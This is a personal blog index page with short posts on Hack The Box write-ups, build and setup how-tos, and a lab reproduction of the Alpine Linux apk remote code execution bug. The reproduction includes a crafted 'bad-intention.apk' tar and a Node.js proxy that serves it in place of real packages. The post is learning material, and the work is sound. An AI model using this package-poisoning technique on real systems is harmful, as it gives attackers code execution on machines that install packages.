Matheus Bratfisch Cogito ergo sum

Hackthebox - Write up of Servmon machine

This time, let’s try to get root on Servmon machine from Hackthebox.

Standard starting procedure: NMAP.

$ nmap -T4 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 20:10 EDT
Nmap scan report for 10.10.10.184 (10.10.10.184)
Host is up (0.22s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5666/tcp open  nrpe
6699/tcp open  napster

Nmap done: 1 IP address (1 host up) scanned in 124.70 seconds

Opening website as that has given good results while nmap runs again with -A.

It seems there is a software called NVMS-1000 running there. Let’s google and see what that is about. On this search we can see it is vulnerable to a directory traversal. https://www.exploit-db.com/exploits/48311

Keep this in mind and let’s take a look on ftp.

Read more

Hackthebox - Write up of Nest machine

Como vocês sabem, eu tenho estudado pentest. Recentemente eu me cadastrei no hackthebox.eu e comecei a fazer as máquinas faceis.

Este post vai mostrar passo a passo que eu fiz para conseguir a flag de usuário e de administrator.

Eu sempre começo com nmap:

$ nmap -T4 -Pn -p- -v 10.10.10.178
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-01 21:41 EDT
Initiating Parallel DNS resolution of 1 host. at 21:41
Completed Parallel DNS resolution of 1 host. at 21:41, 0.01s elapsed
Initiating Connect Scan at 21:41
Scanning 10.10.10.178 (10.10.10.178) [65535 ports]
Discovered open port 445/tcp on 10.10.10.178
Connect Scan Timing: About 3.75% done; ETC: 21:55 (0:13:16 remaining)
Connect Scan Timing: About 16.48% done; ETC: 21:47 (0:05:09 remaining)
Connect Scan Timing: About 39.14% done; ETC: 21:45 (0:02:21 remaining)
Connect Scan Timing: About 66.62% done; ETC: 21:44 (0:01:01 remaining)
Discovered open port 4386/tcp on 10.10.10.178
Completed Connect Scan at 21:44, 220.62s elapsed (65535 total ports)
Nmap scan report for 10.10.10.178 (10.10.10.178)
Host is up (0.15s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 220.71 seconds

A porta 4386 parece diferente, vamos tentar fazer um telnet nela e enumera-la:

$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>debug 1

Invalid password entered
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
>setdir C:\Windows\Temp

Error: Access to the path 'C:\Windows\Temp\' is denied.
>

Read more

Installing AvaloniaILSpy on Kali Linux

Hello,

I have been studying pentest and eventually I had to decompile some VB NET (.NET) and decided to give a try on AvaloniaILSpy.

If you ever need to install it on Kali linux 20 you can install its dependencies with:

sudo apt-get update
sudo apt-get upgrade

wget https://packages.microsoft.com/config/ubuntu/19.10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-3.1

sudo apt-get install mono-devel

git clone https://github.com/icsharpcode/AvaloniaILSpy.git
cd AvaloniaILSpy/
git submodule update --init --recursive

And later to build and run it:

$ bash build.sh
$ cd artifacts/linux-x64/
$ ./ILSpy

Hope this helps you, Matheus

Comment

Compilando OpenSSH 8.2 e utilizando FIDO2 U2F para autenticacão ssh

OpenSSH 8.2 acabou de ser lançado com suporte a FIDO2/U2F. Isto é uma adição de segurança boa!

Como este ainda não está no repositório oficial do Fedora, nós teremos que compilar o openssh 8.2 se nós quisermos testar.

OpenSSH 8.2 precisa da bibilioteca libfido2 que por sua vez precisa das bibliotecas libcor e systemd-devel. Como não existe pacote pronto para biblioteca libfido2 teremos que compilar a mesma também.

Vamos começar instalando algumas dependencias:

$ sudo dnf group install 'Development Tools'
$ sudo dnf install libselinux-devel libselinux libcbor libcbor-devel systemd-devel cmake

Para instalar a biblioteca libfido2:

$ git clone [email protected]:Yubico/libfido2.git
$ cd libfido2
$ (rm -rf build && mkdir build && cd build && cmake ..)
$ make -C build
$ sudo make -C build install

Basicamente estamos clonando o código fonte e utilizando os comandos descritos no repositório para instalar o mesmo.

Com as dependencies prontas vamos preparar o openssh-8.2

$ mkdir openssl-8
$ cd openssl-8
$ mkdir test-openssh
$ wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
$ tar xvzf openssh-8.2p1.tar.gz
$ cd openssh-8.2p1

Com o código no lugar, vamos configurar o build:

$ ./configure --with-security-key-builtin --with-md5-passwords --with-selinux --with-privsep-path=$HOME/openssl-8/test-openssh --sysconfdir=$HOME/openssl-8/test-openssh --prefix=$HOME/openssl-8/test-openssh

Nota: --with-security-key-builtin é importante para poder suportar o FIDO2. Este comando vai utilizar o caminho $HOME/openssl-8/test-openssh a idéia é colocar os binários em um lugar diferente do OS para testarmos sem afetar o ssh local.

Após isso podemos compilar e instalar

$ make
$ make install

Também precisamos criar uma regra udev:

$ sudo vim /etc/udev/rules.d/90-fido.rules

Com o seguinte conteudo:

KERNEL=="hidraw*", SUBSYSTEM=="hidraw", \
  MODE="0664", GROUP="plugdev", ATTRS{idVendor}=="1050"

Após isso entre na pasta onde os binários estarão:

$ cd $HOME/openssl-8/test-openssh/bin

Para rodar os binários você deve usar ./ caso contrário o binário utilizado será o do sistema. Eu não tenho certeza do por que, mas quando utilizei o ssh-keygen estava tendo alguns problemas com a libfido2.so.2

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
/home/matheus/openssl-8/test-openssh/libexec/ssh-sk-helper: error while loading shared libraries: libfido2.so.2: cannot open shared object file: No such file or directory
ssh_msg_recv: read header: Connection reset by peer
client_converse: receive: unexpected internal error
reap_helper: helper exited with non-zero exit status
Key enrollment failed: unexpected internal error

Para solucionar isso eu simplesmente copiei a libfido2 para o seguinte caminho: “/usr/lib64/libfido2.so.2”

Então quando rodei o mesmo novamente sem o token no computador:

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Key enrollment failed: device not found

Depois de plugar o mesmo:

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/test_ecdsa_sk
Your public key has been saved in /tmp/test_ecdsa_sk.pub
The key fingerprint is:
SHA256:.../... host@boom

A chave foi gerada com sucesso!

Agora precisamos de um servidor que tenha suporte a isso portanto eu criei um Dockerfile com ubuntu:20.04 rodando um sshd e openssh 8.2

A decisão de usar ubuntu:20.04 foi dado que ele possui libfido2 num repositório extra.

FROM ubuntu:20.04
RUN apt-get update && apt-get -y install software-properties-common build-essential zlib1g-dev libssl-dev libcbor-dev wget
RUN apt-add-repository -y ppa:yubico/stable && apt-get update && apt-get -y install libfido2-dev
RUN apt-get -y install ssh && apt-get -y remove ssh
RUN wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
RUN tar xvzf openssh-8.2p1.tar.gz
RUN cd openssh-8.2p1 && ./configure --with-security-key-builtin --with-md5-passwords && make && make install 
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

Para compilar e rodar:

$ docker build -t ubuntussh .
$ docker run -p 2222:22 -v /tmp/test_ecdsa_sk.pub:/root/.ssh/authorized_keys -it ubuntussh bash

Agora estamos dentro da instancia do docker e rodei os seguintes comandos:

$ chown -R root:root ~/.ssh/
$ /usr/local/sbin/sshd

Abra um novo terminal e entre no diretório com os binários do ssh já compilados:

SSH_AUTH_SOCK= ./ssh -o "PasswordAuthentication=no" -o "IdentitiesOnly=yes" -i /tmp/test_ecdsa_sk root@localhost -p 2222

A opcão SSH_AUTH_SOCK é para evitar a utilização do ssh-agent que já está rodando, -i é para especificar a chave que desejamos utilizar

Enter passphrase for key '/tmp/id_ecdsa_sk': 
Confirm user presence for key ECDSA-SK SHA256:bsIjeSdrNiB4FhxfYBoHH2sCXLiISu9sxDFNrFLgBwY

Agora estamos no ubuntussh com FIDO2 e senha!

Espero que seja util, Matheus

Reference: https://bugs.archlinux.org/task/65513 https://github.com/Yubico/libfido2 https://www.openssh.com/txt/release-8.2 http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/

Comment

Usando uma porta serial para gravar um esp

Recentemente eu voltei a brincar com meu ESP8266 dado que decidi fazer minha casa mais inteligente. Olhando as placas que eu tinha disponivel notei que eu não possuia nenhuma placa pra gravar em 3.3 mas olhando mais perto notei um raspberry pi e eu poderia simplesmente usa-lo

Depois de fazer as conexões e conseguir gravar o esp utilizando o raspberry pi eu senti que era muito chato programar usando o mesmo ou vnc ou coisas parecidas. Então eu decidi tentar utilizar uma porta serial remota

Inicialmente eu tentei com socat mas não consegui fazer o mesmo funcionar, me parece que ele não encaminha alguns sinais. Depois encontrei o ser2net que é compativel com o RFC2217.

Para instalar o ser2net no raspberry eu utilizei:

$ sudo apt-get install ser2net

Posteriormente para criar um tunel e expor ele na minha maquina utilizei:

$ ssh -L 8086:localhost:8086 pi@PI_ADDRESS '/usr/sbin/ser2net -d -C "8086:raw:600:/dev/ttyAMA0:115200"'

Basicamente estou fazendo um tunel da minha porta 8086 para o dispositivo remoto na porta 8086 com permissões 600 na porta /dev/ttyAMA0 e baudrate de 1152000.

Para conseguir gravar o mesmo usei o esptool da seguinte forma:

$ esptool.py -p socket://localhost:8086 write_flash -fm dio 0x000000 BasicOTA.ino.generic.bin

Note que utilizei o -p socket:// para me comunicar com o socket e gravar remotamente funcionou.

Espero que isso seja util para você também, Matheus

Comment

Testando RCE no Alpine Linux usando APK

Ultimamente eu tenho estudado um pouco de segurança e uma das coisas que estou fazendo de tempos em tempos é lendo CVE e tentando testar e entender o que está acontecendo. Ontem Max Justicz publicou “Remote Code Execution in Alpine Linux. Ele encontrou problemas no apk o qual é o gerenciador de pacotes para o Alpine Linux que é super popular para imagens docker.

Max fez um trabalho excelente em explicar os passos e razões, mas eu queria testar eu mesmo.

- Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.

- Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.

- Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.

- When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.

As instruções dele parecem simples, mas se você não está super familiar como arquivos tar funcionam e alguns outros conceitos, você pode não entender. Em um arquivo tar você pode ter multiplas versões ou arquivos com o mesmo nome e extrair eles usando --occurrence. Com isso em mente as intruções fazem um pouco mais de sentido.

Primeiramente criando os diretórios:

sudo mkdir /etc/apk/commit_hooks.d/
mkdir folder_for_link
mkdir folder_for_real_file

Criando o link

/etc/apk/commit_hooks.d/x folder_for_link/magic

Crie o arquivo folder_for_real_file/magic com este conteudo

#!/bin/sh

echo "something" > /tmp/test-12346-YAY
echo "ha" > /testfileroot

(Se isso realmente funcionar devemos ter esses dois arquivos no sistema.)

Agora temos praticamente tudo que precisamos e podemos criar o apk:

tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic

Aqui estamos adicionando 3 arquivos em sequencia para o tar, você pode checar o resultado com:

$ tar tvf bad-intention.apk
drwxr-xr-x root/root         0 2018-09-13 19:44 etc/apk/commit_hooks.d/
lrwxrwxrwx root/root         0 2018-09-13 19:37 magic -> /etc/apk/commit_hooks.d/x
-rwxrwxrwx root/root 954 2018-09-13 23:24 magic

(Preste atenção na ordem dos mesmos, criação do diretorio commit_hooks.d, criação do link, criação do arquivo)

Qual deveria ser o comportamento agora? Já que o APK no Alpine roda apartir do / ele vai criar a pasta /etc/apk/commit_hooks.k, posteriomente vai extrair o link e terminar fazendo output do arquivo magic para o link o qual será escrito no arquivo X (apontado pelo link). Note, eu perdi MUITO TEMPO tentando verificar esse comportamento com o tar mas parece que este não possui esse comportamento e o apk implementou seu proprio extrator.

Certo, agora precisei entregar este arquivo quando rodasse apk add dentro do docker. Localmente, eu atualizei meu /etc/hosts e apontei dl-cdn.alpinelinux.org para localhost. Utilizando as bibliotecas http-mitm-proxy http-proxy request no nodejs, eu criei um servidor que forneceria o .apk criado caso a url contenha “ltrace” no meio, caso contrário baixaria o arquivo normalmente e instalaria.1

var http = require('http'),
    httpProxy = require('http-proxy'),
    request = require('request'),
    fileSystem = require('fs'),
    path = require('path');

var proxy = httpProxy.createProxyServer({});

var server = http.createServer(function(req, res) {
  console.log('http://nl.alpinelinux.org' + req.url)
  if (req.url.indexOf('ltrace') > -1) {
    console.log("Trapped")
    var filePath = path.join(__dirname, 'bad-intention.apk');
    var stat = fileSystem.statSync(filePath);
    var readStream = fileSystem.createReadStream(filePath);
    readStream.pipe(res);
  } else {
      proxy = request('http://nl.alpinelinux.org' + req.url)
      proxy.on('response', function (a, b) {}).pipe(res);
  }
});

console.log("listening on port 80")
server.listen(80);

Criando a imagem do docker com docker build -t alpinetest --network=host --no-cache .

FROM alpine:3.8

# RUN apk add python
RUN apk add ltrace

CMD "/bin/sh"

(Se você está curioso, você pode dar uma olhada dentro da imagem mesmo que o build tenha falhado. Você pode verificar que os arquivos estão no lugar certo. Utilize docker commit CONTAINER_ID e docker run -it SHA256_STRING sh.)

A saida retornou “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. Isto acontece porque o apk verifica a assinatura do arquivo e tenta limpar os arquivos e diretórios porém ele não consegue já que existe um arquivo em /etc/apk/commit_hooks.k. Então como fazer alguma magica para fazer o comando retornar o exit code 0? Max encontrou um (ou dois) jeitos.

Eu ainda preciso estudar e entender o que exatamente o python script faz mas eu testei o mesmo e ele funciona. Como um teste rápido você pode descomentar RUN apk add python e atualizar o script folder_for_real_file/magic para chamar o código python.

Matheus

Comment

Encontre imagens na Cache do Google Chrome (E Qualquer outro arquivo!)

Boa noite,

Recentemente eu deletei algumas imagens do meu computador e ao tentar acessar as mesmas, os links estavam indisponiveis. Decidi tentar utilizar a cache do navegador. A url antiga para acessar a cache seria chrome://cache porém isso não funciona mais nas versões recentes. Para encontrar seus arquivos acesse /home/USER/.cache/google-chrome/Default/Cache/.

Se você abrir o arquivo de cache, você verá que ele não é um arquivo legível diretamente, o mesmo encontra-se em formato binário com outras informações, como URL, headers, http status e outros. Poderiamos olhar o código fonte do Google Chrome para entender como o mesmo gera esses dados e ler os mesmos. Sendo sincero, eu fui preguicoso. Chrome cache storage

Por que não escanear os arquivos pela sequencia binaria de um JPEG? Para isso precisarimos aprender como encontrar o inicio e o fim de uma imagem. Da especificação do JPG temos:

  • bytes 0xFF, 0xD8 indicam inicio da imagem
  • bytes 0xFF, 0xD9 indicam fim da imagem.

Certo, então como encontra estes bytes usando python?

Abra o arquivo como binário e verifique se existe as marcações JFIF ou EXIF. (Removendo arquivos que não precisamos verificar)

f = open(filepath, 'rb')

data = f.read()
if 'JFIF' not in data and 'Exif' not in data:
	return

Agora vamos iterar sobre todos os bytes, tentando encontrar a sequencia específica. Para fazer isso teremos uma váriavel prev a qual vai salvar o valor do byte anterior, pos que vai salvar a posição que estamos, um array para salvar todos os SOI e um para salvar todos os EOI. No caso se o char anterior for FF verificamos se o atual é 0xD8, se sim, adicionamos a SOI, se for D9 adicionamos a EOI.

prev = None
soi = []
eoi = []
pos = 0
for b in data:
	if prev is None:
		prev = b
		pos = pos + 1
		continue
	if prev == chr(0xFF):
		if b == chr(0xD8):
			soi.append(pos-1)
		elif b == chr(0xD9):
			eoi.append(pos-1)
	prev = b
	pos = pos + 1

Agora podemos selecionar o SOI e o EOI e salvar. A única mágica que estaremos fazendo é pegar o primeiro SOI e o último SOI ou EOI, dependendo qual é maior.

path, filename = os.path.split(filepath)
file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, 0), 'wb')
m1 = soi[0]
m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
file.write(data[m1:m2])

file.close()

print(filename, "SOI", soi, len(soi))
print(filename, "EOI", eoi, len(eoi))

Esse código vai salvar somente uma imagem, mas você poderia ter um arquivo com multiplas imagens e salvar multiplos arquivos iterando sobre os EOI/SOI.

Seria isso um tipo de file carving?

Espero que seja util, Matheus

Pegue este script, crie uma pasta OUTPUT_FOLDER e rode python yourfile.py filetocheck, essa versão teoricamente consegue extrair multiplos imagens de um arquivo.

import os
import glob
import sys

OUTPUT_FOLDER = "output-this2"


def save_file(data, path, filename, count, eoi, soi):
	file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, count), 'wb')
	m1 = soi[0]
	m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
	file.write(data[m1:m2])
	file.close()

def extract(filepath):
	count = 0
	f = open(filepath, 'rb')

	data = f.read()
	if 'JFIF' not in data and 'Exif' not in data:
		return

	path, filename = os.path.split(filepath)

	old_soi = []
	old_eoi = []
	prev = None
	soi = []
	eoi = []
	eoi_found = False
	pos = 0
	for b in data:
		if prev is None:
			prev = b
			pos = pos + 1
			continue
		if prev == chr(0xFF):
			if b == chr(0xD8):
				if eoi_found:
					save_file(data, path, filename, count, eoi, soi)
					old_soi = old_soi + soi
					old_eoi = old_eoi + eoi
					soi = []
					eoi = []
					count = count + 1
					eoi_found = False
				soi.append(pos-1)
			elif b == chr(0xD9):
				eoi.append(pos-1)
				eoi_found = True
		prev = b
		pos = pos + 1

	save_file(data, path, filename, count, eoi, soi)
	print(filename, "SOI", soi, len(old_soi))
	print(filename, "EOI", eoi, len(old_eoi))

def main():
	if len(sys.argv) < 2:
		sys.exit(1)

	extract(sys.argv[1])

if __name__=="__main__":
	main()

Reference: https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images

Comment

Impressora conectada ao Raspberry PI acessivel da sua rede local.

Boa noite,

Por um longo periodo meu pai tem reclamado que usar a impressora não é pratico o bastante, para resolver isso decidi instalar um Raspberry PI Zero W conectado a impressora e compartilhar a mesma usando CUPS.

Inicialmente você deve conectar ao RPi e instalar CUPS.

sudo apt-get install cups

Se você deseja ter uma interface web para configurar CUPS do seu computador, atualize /etc/cups/cupsd.conf

sudo vim /etc/cups/cupsd.conf

Encontre a linha:

Listen localhost:631

Atualize a mesma para:

# Listen localhost:631
Port 631

Você terá multiplas linhas <Location, se você deseja ser capaz de configurar somente do seu computador, adicione Allow from SEU_IP para todas as secoes. Exemplo:

<Location />
  Order allow,deny
  Allow from 10.0.0.2
</Location>

(Se você deseja poder fazer de qualquer computador, use Allow from all)

Adicione o seu usuario your (no meu caso pi) ao grupo lpadmin

sudo usermod -a -G lpadmin pi

Acesse o ip do Raspberry PI no seu navegador na porte 631 (https://RPI_IP:631/).

Acesse Administration - Add printer. Você deve ver sua impressora em “Local printers”, adicione a mesma lembrando de marcar a checkbox para compartilhar.

No caso de você usar uma impressora HP e a mesma não estiver funcionando, tente instalar o hplip.

sudo apt-get install hplip

Reinicie e tente acessar a pagina novamente.

See you, Matheus

Comment

Atualizar o autor dos commits do git e resetar.

Se você deseja atualizar o autor dos seus commits globalmente, utilize:

git config --global user.name "Your name"
git config --global user.email "[email protected]"

Após setar o mesmo globalmente, você pode setar o mesmo por projeto, então caso você deseje setar o autor dos commits do git por projeto use:

git config user.name "Your name"
git config user.email "[email protected]"

E um bonus: Se você deseja resetar os autores dos commits.

git commit --amend --reset-author

Se você desejar fazer para vários commits:

git rebase -i <COMMIT_HASH>

Até mais, Matheus

Comment

Docker-compose com PHP-FPM, sendmail, nginx, mariadb serving jekyll e wordpress

Como expliquei recentemente, eu tinha um blog rodando no wordpress e decidi migrar para o Jekyll, mas existia um detalhe, eu não queria perder os links que já apontavam para o meu blog em wordpress, para atingir isso, Eu fiz o setup de um nginx o qual irá tentar encontrar arquivos estáticos do Jekyll e no caso de falha irá fazer um fallback para o wordpress.

Eu estava rodando os mesmos em uma instancia ec2 com RDS e o preço estava um pouco alto, então decidi mover tudo para uma unica máquina e utilizar o docker para poder mudar facilmente meu website de servidor.

Para atingir isso eu criei um docker-compose com:

  • PHP-FPM e sendmail para processar php e enviar e-mails com o sendmail
  • Nginx para servir arquivos estáticos e caso eles não sejam encontrados, servir meu antigo blog em wordpress
  • MariaDB como meu banco de dados para o wordpress
version: '3'
services:
  fpm:
    # image: php:7.0-fpm-alpine
    build: php7fpm
    restart: always
    volumes:
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./php7fpm/sendmail.mc:/usr/share/sendmail/cf/debian/sendmail.mc
      - ./php7fpm/gmail-auth.db:/etc/mail/authinfo/gmail-auth.db
    ports:
      - "9000:9000"
    links:
      - mariadb 
    hostname: test.com.br
  
  nginx:
    image: nginx:1.10.1-alpine
    restart: always
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/app.vhost:/etc/nginx/conf.d/default.conf
      - ./logs/nginx:/var/log/nginx
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./jekyll.matbra.com/:/var/www/jekyll.matbra.com
    ports:
      - "80:80"
      - "443:443"
    links:
      - fpm

  mariadb:
    image: mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=yourpassword
      - MYSQL_DATABASE=
    volumes:
    -   ./data/db:/var/lib/mysql

Container PHP-FPM:

Eu estou usando um Dockerfile modificado, o qual vem do php:7.0-fpm e adiciona sendmail e a extensão do mysql. Existe um script de inicialização modificado para rodar os dois serviços na mesma máquina. (Eu sei, eu deveria criar um container especifico para o sendmail)

Neste container eu estou mapeando alguns arquivos php e configurações:

  • ./wordpress.matbra.com para /var/www/wordpress.matbra.com meus arquivos do wordpress
  • ./php7fpm/sendmail.mc para /usr/share/sendmail/cf/debian/sendmail.mc meu arquivo de configuração para o sendmail
  • ./php7fpm/gmail-auth.db para /etc/mail/authinfo/gmail-auth.db meu arquivo de senha para o gmail Configuring gmail as relay to sendmail

Eu também estou mapeando as portas 9000 para 9000, então o nginx irá se comunicar com o php-fpm nestas portas e criando um link para o mariadb e criando um hostname

Container NGINX:

Eu estou usando um nginx alpine com alguns mapeamentos:

  • ./nginx/nginx.conf para /etc/nginx/nginx.conf meu arquivo de configuração para o nginx
  • ./nginx/app.vhost para /etc/nginx/conf.d/default.conf meu arquivo de configuração para o site com Jekyll fazendo fallback para o wordpress
  • ./logs/nginx para /var/log/nginx o diretório de logs
  • ./wordpress.matbra.com/ para /var/www/wordpress.matbra.com o local onde o nginx consegue encontrar meus arquivos do wordpress
  • ./jekyll.matbra.com/ para /var/www/jekyll.matbra.com o local onde o nginx consegue encontrar meus arquivos do jekyll

Eu também mapeio as portas 80 para 80 e 433 para 433, crio um link para o php-fpm para que o nginx se comunique com o container do php-fpm

Container MARIADB:

Sem mistérios aqui, uma imagem do mariadb com mapa para os dados e algumas variaveis de ambiente

Já que eu não adicione meus arquivos do website, eu criei um comando init.sh para remover o diretório de dados e clonar os mesmos do git. Também tem um comando chamado update-config.sh para atualizar as configurações do wordpress (wp-config.php) com os valores corretos.

Com isso eu consigo facilmente criar meu “sistema” em uma nova máquina.

https://github.com/x-warrior/blog-docker

Eu espero que seja útil. Matheus

Comment